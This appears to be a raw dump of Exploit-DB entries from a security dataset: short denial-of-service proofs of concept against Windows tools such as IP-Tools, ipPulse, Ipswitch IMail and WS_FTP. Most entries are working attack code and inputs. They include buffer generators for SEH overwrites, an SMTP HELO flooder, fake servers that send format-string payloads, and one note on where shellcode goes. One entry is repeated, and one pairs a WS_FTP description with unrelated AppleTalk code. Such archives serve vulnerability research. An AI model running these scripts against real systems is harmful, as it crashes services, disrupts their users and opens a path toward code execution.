deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46286
Description: IP-Tools 2.50 - Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2019-01-30
Author: Rafael Pedrero

Exploit:
# Exploit Title: IP TOOLS v2.50 - Denial of Service (PoC) and SEH overwritten Crash PoC
# Discovery by: Rafael Pedrero
# Discovery Date: 2018-12-20
# Vendor Homepage: https://www.ks-soft.net/ip-tools.eng/index.htm
# Software Link : https://www.ks-soft.net/ip-tools.eng/index.htm / https://web.archive.org/web/[PII_REDACTED]3021/http://hostmonitor.biz:80/download/ip-tools.exe
# Tested Version: 2.50
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run IP-Tools.exe
# 2.- Go to SNMP Scanner tab and copy content of IPTools_Crash.txt to clipboard
# 3.- Paste the content into the field: 'From Addr' and 'To Addr'
# 4.- Click 'Start' button and you will see a crash.


'''
SEH chain of main thread
Address    SE handler
0012F4B4   43434343
42424242   *** CORRUPT ENTRY ***



EAX 0012F4CC
ECX 00000000
EDX 44444444
EBX 0012F4CC
ESP 0012E490
EBP 0012F4DC ASCII
"DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
ESI 0012E4A4 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EDI 02256720 ASCII
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EIP 00403F70 IP-TOOLS.00403F70
C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDD000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
               3 2 1 0      E S P U O Z D I
FST 0120  Cond 0 0 0 1  Err 0 0 1 0 0 0 0 0  (LT)
FCW 1372  Prec NEAR,64  Mask    1 1 0 0 1 0
'''

#!/usr/bin/env python

junk = "\x41" * 4112
crash = junk + "BBBB" + "CCCC" + "D" * (5000 - len(junk) - 8)
f = open ("IPTools_Crash.txt", "w")
f.write(crash)
f.close()
Exploit-DB #403
Description: IPD (Integrity Protection Driver) - Denial of Service
Type: dos
Platform: windows
Date: 2004-08-18
Author: anonymous

Exploit:
/* 
*   ipd-dos.c 
* 
*   Copyright (c) 2002-2004 By Next Generation Security S.L. 
*   All rights   reserved 
* 
*   Compiles with: cl ipd-dos.c 
* 
*   Madrid, August 2004 
*/ 

#include <windows.h> 

#define MY_NULL 0x01 
typedef DWORD (* zwopensection_TYPE)(DWORD Handle, DWORD mask, DWORD oa); 

int main(int argc, char *argv[]) { 
HINSTANCE dll; 
zwopensection_TYPE my_ZwOpenSection; 

  if ((dll=LoadLibrary("ntdll.dll"))!=NULL) { 

    if ((my_ZwOpenSection=(zwopensection_TYPE)GetProcAddress(dll,"ZwOpenSection"))!=NULL) { 

        my_ZwOpenSection(MY_NULL,MY_NULL,MY_NULL); 

    } 
  } 

} 

// milw0rm.com [2004-08-18]
Exploit-DB #47674
Description: ipPulse 1.92 - 'Enter Key' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-11-19
Author: Diego Armando Buztamante Rico

Exploit:
# Exploit Title: ipPulse 1.92 - 'Enter Key' Denial of Service (PoC)
# Discovery by: Diego Buztamante
# Discovery Date: 2019-11-18
# Vendor Homepage: https://www.netscantools.com/ippulseinfo.html
# Software Link : http://download.netscantools.com/ipls192.zip
# Tested Version: 1.92
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash:
# 1.- Run python code : python ipPulse_1.92.py
# 2.- Open ipPulse_1.92.txt and copy content to clipboard
# 3.- Open ippulse.exe
# 4.- Click on "Enter Key"
# 5.- Paste ClipBoard on "Name: "
# 6.- OK
# 7.- Crashed

#!/usr/bin/env python

buffer = "\x41" * 256
f = open ("ipPulse_1.92.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #45102
Description: ipPulse 1.92 - 'IP Address/HostName-Comment' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-07-30
Author: Luis Martínez

Exploit:
# Exploit Title: ipPulse 1.92 - 'IP Address/HostName-Comment' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2018-07-27
# Vendor Homepage: https://www.netscantools.com/ippulseinfo.html
# Software Link : http://download.netscantools.com/ipls192.zip
# Tested Version: 1.92
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash: 
# 1.- Run python code : python ipPulse_1.92.py
# 2.- Open ipPulse_1.92.txt and copy content to clipboard
# 3.- Open ippulse.exe
# 4.- Target Editor
# 5.- Paste ClipBoard on "IP Address/HostName"
# 6.- Paste ClipBoard on "Comment"
# 7.- Add Above Fields to Target List >>
# 8.- OK
# 9.- Crashed

#!/usr/bin/env python
 
buffer = "\x41" * 3400
f = open ("ipPulse_1.92.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #45110
Description: ipPulse 1.92 - 'Licence Key' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-07-31
Author: Shubham Singh

Exploit:
# Exploit Title: ipPulse 1.92 - 'License Key' Denial of Service (PoC)
# Discovery by: Shubham Singh
# Known As: Spirited Wolf Twitter: @Pwsecspirit
# Discovery Date: 2018-07-30
# Vendor Homepage: https://www.netscantools.com/ippulseinfo.html
# Software Link: http://download.netscantools.com/ipls192.zip
# Tested Version: 1.92
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows xp Service pack3 x86 

# Steps to Reproduce: 
# Run the python exploit.py , Open exploit.txt and copy content.
# Open ippulse.exe , Click On "Enter Key".
# In the name field paste the content of "exploit.txt" and in Key type anything.
# Press "OK" and B00m Crashed.

#!/usr/bin/env python
 
buffer = "\x41" * 256
f = open ("exploit.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #19711
Description: Ipswitch IMail 5.0.8/6.0/6.1 - IMonitor 'status.cgi' Denial of Service
Type: dos
Platform: windows
Date: 2000-01-05
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/914/info

IMail includes a service called IMail Monitor which is used for local and remote performance measuring and diagnostics. It includes a small webserver operating on port 8181 to support web-based monitoring. One of the cgi scripts, status.cgi, is used to determine which services are currently running and create a web pafge to report this information. Multiple simultaneous requests for status.cgi will cause the software to crash, with a Dr. Watson error of "Invalid Memory Address".

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19711-1.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19711-2.zip
Exploit-DB #21673
Description: IPSwitch IMail 6.x/7.0.x - Web Calendaring Incomplete Post Denial of Service
Type: dos
Platform: windows
Date: 2002-07-30
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/5365/info

IMail is a commercial email server software package distributed and maintained by Ipswitch, Incorporated. IMail is available for Microsoft Operating Systems.

When a HTTP POST command is made to the web calendaring service on port 8484, and the "content-length:" header field is blank, the service becomes unstable. It has been reported that such a transaction with the service results in a crash of the iwebcal service. 

An attacker may exploit this vulnerability by submitting the following request to a vulnerable server:

POST / HTTP/1.0
Exploit-DB #15008
Description: Ipswitch Imail Server - List Mailer Reply-To Address Memory Corruption
Type: dos
Platform: windows
Date: 2010-09-15
Author: Abysssec

Exploit:
'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-15-ipswitch-imail-server-list-mailer-reply-to-address-memory-corruption/

'''

'''
  Title               :  Ipswitch Imail Server List Mailer Reply-To Address memory corruption
  Version             :  Imail server v11.01 and 11.02
  Analysis            :  http://www.abysssec.com
  Vendor              :  http://www.ipswitch.com
  Impact              :  Critical
  Contact             :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             :  @abysssec

'''

import smtplib

sender = 'from@fromdomain.com'
receivers = ['CrashList@wapteam-f556693']

message = """From: From Person <from@fromdomain.com>
To: To Person <CrashList@wapteam-f556693>
"""
#ReplayCount = 5
#while ReplayCount>0:
#   message = message + "Reply-To:"
counter = 3
while counter>0:
#   if counter != 50000 :
#      message = message + ","
   #message = message + "Reply-To: <someone"+str(counter)+"@example.org>"
   message = message + "Reply-To: "+("A"*200)+"a"*4+"B"*196+"@exam.com"
   counter = counter - 1
   message = message + "\n"
#   ReplayCount = ReplayCount - 1
   
#message = message + "\n"
message = message + """
Subject: SMTP e-mail test

This is a test e-mail message.

"""
#print message  
#fp = open("C:\\Program Files\\Ipswitch\\IMail\\spool\\tmp188.tmp","w")
#fp.write(message)
#fp.close()
#print "wrote"
try:
   smtpObj = smtplib.SMTP('localhost')
   smtpObj.sendmail(sender, receivers, message)         
   print "Successfully sent email"
except SMTPException:
   print "Error: unable to send email"
Exploit-DB #23145
Description: Ipswitch Imail Server 5.0 - SMTP HELO Argument Buffer Overflow
Type: dos
Platform: windows
Date: 1998-03-10
Author: Rootshell

Exploit:
// source: https://www.securityfocus.com/bid/8621/info

It has been reported that Ipswitch IMail server is prone to an SMTP HELO command argument buffer overflow vulnerability.

The issue presents itself likely due to insufficient bounds checking performed when handling malicious SMTP HELO command arguments of excessive length. It has been reported that a remote attacker may exploit this condition to trigger a denial of service in the affected daemon.

/* 
 * MDaemon SMTP server for Windows buffer overflow exploit 
 * 
 * http://www.mdaemon.com - if you dare... 
 * 
 * Tested on MDaemon 2.71 SP1 
 * 
 * http://www.rootshell.com/ 
 * 
 * Released 3/10/98 
 * 
 * (C) 1998 Rootshell All Rights Reserved 
 * 
 * For educational use only. Distribute freely. 
 * 
 * Note: This exploit will also crash the Microsoft Exchange 5.0 SMTP mail 
 * connector if SP2 has NOT been installed. 
 * 
 * Danger! 
 * 
 * A malicous user could use this bug to execute arbitrary code on the 
 * remote system. 
 * 
 */ 


#include <stdio.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <netdb.h> 
#include <string.h> 
#include <stdlib.h> 
#include <unistd.h> 


void main(int argc, char *argv[]) 
{ 
  struct sockaddr_in sin; 
  struct hostent *hp; 
  char *buffer; 
  int sock, i; 


  if (argc != 2) { 
    printf("usage: %s <smtp server>\n", argv[0]); 
    exit(1); 
  } 
  hp = gethostbyname(argv[1]); 
  if (hp==NULL) { 
    printf("Unknown host: %s\n",argv[1]); 
    exit(1); 
  } 
  bzero((char*) &sin, sizeof(sin)); 
  bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); 
  sin.sin_family = hp->h_addrtype; 
  sin.sin_port = htons(25); 
  sock = socket(AF_INET, SOCK_STREAM, 0); 
  connect(sock,(struct sockaddr *) &sin, sizeof(sin)); 
  buffer = (char *)malloc(10000); 
  sprintf(buffer, "HELO "); 
  for (i = 0; i<4096; i++) 
    strcat(buffer, "x"); 
  strcat(buffer, "\r\n"); 
  write(sock, &buffer[0], strlen(buffer)); 
  close(sock); 
  free(buffer); 
}
Exploit-DB #31122
Description: Ipswitch Instant Messaging 2.0.8.1 - Multiple Vulnerabilities
Type: dos
Platform: windows
Date: 2008-02-07
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/27677/info

Ipswitch Instant Messaging is prone to multiple security vulnerabilities, including a denial-of-service vulnerability, a format-string vulnerability, and a vulnerability that allows attackers to overwrite arbitrary files.

Attackers can exploit these issues to execute arbitrary code, cause denial-of-service conditions, or overwrite files with arbitrary content.

These issues affect Ipswitch Instant Messaging 2.0.8.1; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31122.zip
Exploit-DB #9607
Description: Ipswitch WS_FTP 12 Professional - Remote Format String (PoC)
Type: dos
Platform: windows
Date: 2009-09-09
Author: Jeremy Brown

Exploit:
#!/usr/bin/perl
# nocoolnameforawsftppoc.pl
# AKA
# Ipswitch WS_FTP 12 Professional Remote Format String 0day PoC
#
# Jeremy Brown [0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 09.07.2009
#
# *********************************************************************************************************
# I really _hate_ releasing proof of concepts. ASCII gets itchy after a few months. And it has been over a
# year since a WS_FTP exploit/PoC has been on milw0rm (as far as I know) (!). Crazy right? This bug was
# found with Hzzp, yes WS_FTP parses HTTP too. Format string in the status code, bang bang. But the problem
# is we can't seem to be able to use %n, which I believe is disabled by default per Microsoft, making
# exploitation more difficult. Hrm. And where is a security contact for Ipswitch? I believe I did try to
# find a reasonable resource. Maybe Ipswitch should just fuzz their products with Hzzp? xD Happy Holidays!
# **********************************************************************************************************
# nocoolnameforawsftppoc.pl

use IO::Socket;

$port    = 80;
$payload = "HTTP/1.1 %s%s\r\n\r\n";

$serv = IO::Socket::INET->new(Proto=>'tcp', LocalPort=>$port, Listen=>1) or die "Error: listen($port)\n";

$cli = $serv->accept() or die "Error: accept()\n";

$cli->recv($buf, 512);
$cli->send($payload);

close($cli);
close($serv);

# milw0rm.com [2009-09-09]
Exploit-DB #29463
Description: Ipswitch WS_FTP 2007 Professional - 'WSFTPURL.exe' Local Memory Corruption
Type: dos
Platform: windows
Date: 2007-01-15
Author: LMH

Exploit:
// source: https://www.securityfocus.com/bid/22062/info

Ipswitch WS_FTP 2007 Professional is prone to a local memory-corruption vulnerability. This issue occurs when the 'wsbho2k0.dll' library fails to handle specially crafted arguments.

Due to the nature of this issue, an attacker may be able to execute arbitrary machine code in the context of the affected kernel, but this has not been confirmed. Failed exploit attempts result in kernel panics, denying service to legitimate users.

Ipswitch WS_FTP 2007 Professional is vulnerable to this issue; other versions may also be affected. 

/*
 * Copyright 2006 (c) LMH <lmh@info-pull.com>.
 * All Rights Reserved.
 * ----           
 *
 *               .--. .--.           _____________________________________
 *          _..-: (X :  o :-.._     / heya! me Gruber Duckie. I'm an über |
 *      .-''    `.__.:.__.'    ``-./___    proud zealot and Mac Beggar!   |
 *    .'          .'   `.          `.  \__________________________________|
 *   :  '.        :     :        .'  ;  (...fear my Delusional Zealot Army !)
 *   :    :-..__  `.___.'  __..-;    ;
 *   `.    `.   ''-------''   .'    ,'
 *     `.    `.             .'    .' 
 *       `._   `-._     _.-'   _.'   kudos to ilja, kevin, hdm, johnnycsh, et al.
 *          `-._   '"'"'   _.-'      proof of concept for MOKB-27-11-2006.
 *              ``-------''
 */

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdarg.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/sockio.h>

typedef struct at_state {
	unsigned int	flags;
} at_state_t;

/* if testing on PPC, you need to use the proper values. read netat/at_var.h */
#undef	AF_APPLETALK
#define AIOCGETSTATE	0x8021610b	/* get AT global state */
#define AIOCREGLOCALZN	0x8021610b
#define AT_ST_STARTED	0x0001
#define	AF_APPLETALK	0x10

char powder[4096];

unsigned long do_semtex(char *p, size_t len) {
	int i;
    size_t longsize = sizeof(long);
    unsigned long *daringwussball;

	daringwussball = (unsigned long *)p;
	for (i = 0; i < len; i+=longsize) {
		*daringwussball++ = 0x61;
	}

	return (unsigned long)&powder;
}

int main(int argc, char **argv) {
        int fd;
        at_state_t global_state;
		unsigned long pkt;

        if ((fd = socket(AF_APPLETALK, SOCK_RAW, 0)) < 0)
                exit(1);

		/* check if AppleTalk stack has been started */
        if (ioctl(fd, AIOCGETSTATE, &global_state) < 0) {
                close(fd);
                exit(2);
        }

        if (global_state.flags & AT_ST_STARTED) {
                printf("appletalk-exploit-1: 0x%08x\n", global_state);
        } else {
                printf("appletalk-exploit-1: AppleTalk isn't enabled!\n");
                exit(3);
        }

		pkt = do_semtex(powder, sizeof(powder));
		ioctl(fd, AIOCREGLOCALZN, pkt);

        close(fd);
        return 0;
}
Exploit-DB #32256
Description: Ipswitch WS_FTP Home/Professional 8.0 - WS_FTP Client Format String
Type: dos
Platform: windows
Date: 2008-08-17
Author: securfrog

Exploit:
source: https://www.securityfocus.com/bid/30720/info

Ipswitch WS_FTP client is prone to a format-string vulnerability it fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.

An attacker may exploit this issue to execute arbitrary code in the context of the vulnerable application. Failed exploit attempts will likely result in a denial-of-service condition.

This issue affects the WS_FTP Home and WS_FTP Professional clients.

##################################################################################################################
#
# Ipswitch WS_FTP Home/WS_FTP Professional FTP Client Remote Format String vulnerability 
# Vendor : http://www.ipswitch.com/
# Affected Os : Windows *
# Risk : critical
#
# This bug is pretty interresting in the way you have to exploit it in a weird way...
#
# With this PoC you'll get a full control over EAX/ECX  
# (
# eax=41414141 ebx=0000000a ecx=41414141 edx=00000000 esi=41414142 edi=02b1f0ab
# eip=77d3ef68 esp=02b1f01c ebp=02b1f064 iopl=0         nv up ei pl nz na po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
# USER32!CharLowerA+0x93:
# 77d3ef68 8a10             mov     dl,[eax]                ds:0023:41414141=??
# )
# Fake Server PoC :
use strict;
use Socket;

my $port = shift || 21;
my $proto = getprotobyname('tcp');
my $goodz = "\x41\x41\x41\x41\x41\x41\x41\x41%x%x%x%x%x%x%x%s";

my $visitor;
socket(SOCKET, PF_INET, SOCK_STREAM, $proto)
or die "To bad $!\n";
setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR, 1);
bind(SOCKET, pack( "S n a4 x8", AF_INET, $port, "\0\0\0\0" ))
or die "Shitz port $port is allready in use, shut down your ftp server !\n";
listen(SOCKET, 5) or die "Listen: $!";
print "Fake Server started on port $port\n";
while ($visitor = accept(NEW_SOCKET, SOCKET)) {
print NEW_SOCKET $goodz;
close NEW_SOCKET;
}

# Anyways, in the WS_FTP Home client there's still a buffer overflow in the FTP server message response ( 4100 chars answer --> done ).
Exploit-DB #6257
Description: Ipswitch WS_FTP Home/Professional FTP Client - Remote Format String (PoC)
Type: dos
Platform: windows
Date: 2008-08-17
Author: securfrog

Exploit:
##################################################################################################################
#
# Ipswitch WS_FTP Home/WS_FTP Professional FTP Client Remote Format String vulnerability 
# Vendor : http://www.ipswitch.com/
# Affected Os : Windows *
# Risk : critical
#
# This bug is pretty interresting in the way you have to exploit it in a weird way...
#
# With this PoC you'll get a full control over EAX/ECX  
# (
# eax=41414141 ebx=0000000a ecx=41414141 edx=00000000 esi=41414142 edi=02b1f0ab
# eip=77d3ef68 esp=02b1f01c ebp=02b1f064 iopl=0         nv up ei pl nz na po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
# USER32!CharLowerA+0x93:
# 77d3ef68 8a10             mov     dl,[eax]                ds:0023:41414141=??
# )
# Fake Server PoC :
use strict;
use Socket;

my $port = shift || 21;
my $proto = getprotobyname('tcp');
my $goodz = "\x41\x41\x41\x41\x41\x41\x41\x41%x%x%x%x%x%x%x%s";

my $visitor;
socket(SOCKET, PF_INET, SOCK_STREAM, $proto)
or die "To bad $!\n";
setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR, 1);
bind(SOCKET, pack( "S n a4 x8", AF_INET, $port, "\0\0\0\0" ))
or die "Shitz port $port is allready in use, shut down your ftp server !\n";
listen(SOCKET, 5) or die "Listen: $!";
print "Fake Server started on port $port\n";
while ($visitor = accept(NEW_SOCKET, SOCKET)) {
print NEW_SOCKET $goodz;
close NEW_SOCKET;
}

# Anyways, in the WS_FTP Home client there's still a buffer overflow in the FTP server message response ( 4100 chars answer --> done ).

# milw0rm.com [2008-08-17]
Exploit-DB #39796
Description: Ipswitch WS_FTP LE 12.3 - Search field Overwrite (SEH) (PoC)
Type: dos
Platform: windows
Date: 2016-05-10
Author: Zahid Adeel

Exploit:
#!/usr/bin/python
#Author: Zahid Adeel
#Author Email: exploiter.zee@gmail.com
#Title: Ipswitch WS_FTP LE 12.3 - Search field SEH Overwrite POC
#Vendor Homepage: http://www.wsftple.com/ 
#Software Link: http://www.wsftple.com/download.aspx
#Version: LE 12.3
#Tested on: Windows 8.1 x64 Pro
#Date: 2016-05-10

#Steps:
#Run WS_FTP LE client, Navigate to "Local Search" option in the Tools menu, paste the contents of wsftple-poc.txt in search field and press Enter.

fname="wsftple-poc.txt"

junk = "A" * 840
n_seh = "BBBB"
seh = "CCCC"

padding = "F" * (1000 - len(junk) - 8)
poc = junk + n_seh + ppr + padding

fhandle = open(fname , 'wb')
fhandle.write(poc)
fhandle.close()
Exploit-DB #43115
Description: Ipswitch WS_FTP Professional < 12.6.0.3 - Local Buffer Overflow (SEH)
Type: dos
Platform: windows
Date: 2017-11-03
Author: Kevin McGuigan

Exploit:
#!/usr/bin/python
#Title: Ipswitch WS_FTP Professional Local Buffer Overflow (SEH)
#Author: Kevin McGuigan. Twitter: @_h3xagram
#Author Website: https://www.7elements.co.uk
#Vendor Website: https://www.ipswitch.com
#Date: 03/11/2017
#Version: 12.6.03
#CVE: CVE-2017-16513
#Tested on: Windows 7 32-bit
#Use script to generate payload. Paste payload into search field, replace Ds with shellcode. 
#nSEH = "\x74\x08\x90\x90" 
#SEH = "\x31\x2D\x91\x23"

buffer = "A" * 840
nSEH = "B" * 4
SEH = "C" * 4


f = open ("poc.txt", "w")
f.write(buffer + nSEH + SEH + "D" * 200)
f.close()
Exploit-DB #24416
Description: Ipswitch WS_FTP Server 5.0.x - CD Command Malformed File Path Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-08-30
Author: lion

Exploit:
source: https://www.securityfocus.com/bid/11065/info

WS_FTP Server is reported prone to a remote denial of service vulnerability. This issue presents itself when the application processes a malformed file path through the 'cd' command.

WS_FTP Server version 5.0.2 is reported prone to this issue, however, other versions may be affected as well. 

E:\>ftp localhost
Connected to ibm.
220-ibm X2 WS_FTP Server 5.0.2.EVAL (106633167)
220-Fri Aug 27 14:12:19 2004
220-29 days remaining on evaluation.
220 ibm X2 WS_FTP Server 5.0.2.EVAL (106633167)
User (ibm:(none)): ftp
331 Password required
Password:
230 user logged in
ftp> cd a../a
Connection closed by remote host.